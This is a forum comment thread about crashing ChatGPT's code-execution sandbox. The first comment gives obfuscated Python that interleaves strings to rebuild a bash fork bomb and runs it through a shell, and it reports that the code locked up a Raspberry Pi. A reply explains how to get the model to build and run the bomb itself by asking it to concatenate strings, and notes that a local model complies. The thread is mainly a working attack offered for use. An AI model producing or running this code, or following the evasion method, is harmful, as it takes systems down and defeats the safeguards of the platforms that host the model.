• zkfcfbzr
    link
    English
    5
    edit-2
    9 hours ago

    Not a bad idea, and this should do it I think:

    code
    a = 'f) |&}f'
    b = '({ff ;'
    c = ''
    for i in range(len(a) + len(b)):
        if i % 2 == 0:
            c += a[i//2]
        else:
            c += b[i//2]
    d = 'ipr upoes'
    e = 'motsbrcs'
    f = ''
    for i in range(len(d) + len(e)):
        if i % 2 == 0:
            f += d[i//2]
        else:
            f += e[i//2]
    g = 'sbrcs.u(,hl=re'
    h = 'upoesrncselTu)'
    j = ''
    for i in range(len(g) + len(h)):
        if i % 2 == 0:
            j += g[i//2]
        else:
            j += h[i//2]
    exec(f)
    exec(j)
    

    Used the example from the wiki page you linked, and running this on my Raspberry Pi did manage to make the system essentially lock up. I couldn’t even open a terminal to reboot - I just had to cut power. But I can’t run any more code analysis with ChatGPT for like 16 hours so I won’t get to test it for a while. I’m somewhat doubtful it’ll work since the wiki page itself mentions various ways to protect against it though.

    • @horse_battery_staple
      link
      36 hours ago

      You have to get the gpt to generate the bomb itself. Ask it to concat the strings that will run the forkbomb. My llama3.3 at home will run it happily if you ask it to.

      • zkfcfbzr
        link
        English
        23 hours ago

        I’m confident I can get ChatGPT to run the command that generates the bomb - I’m less confident that it’ll work as intended. For example, the wiki page mentioned a simple workaround is just to limit the maximum number of processes a user can run. I’d be pretty surprised if the engineers at OpenAI haven’t already thought of this sort of thing and implemented such a limit.

        Unless you meant something else? I may have misinterpreted your message.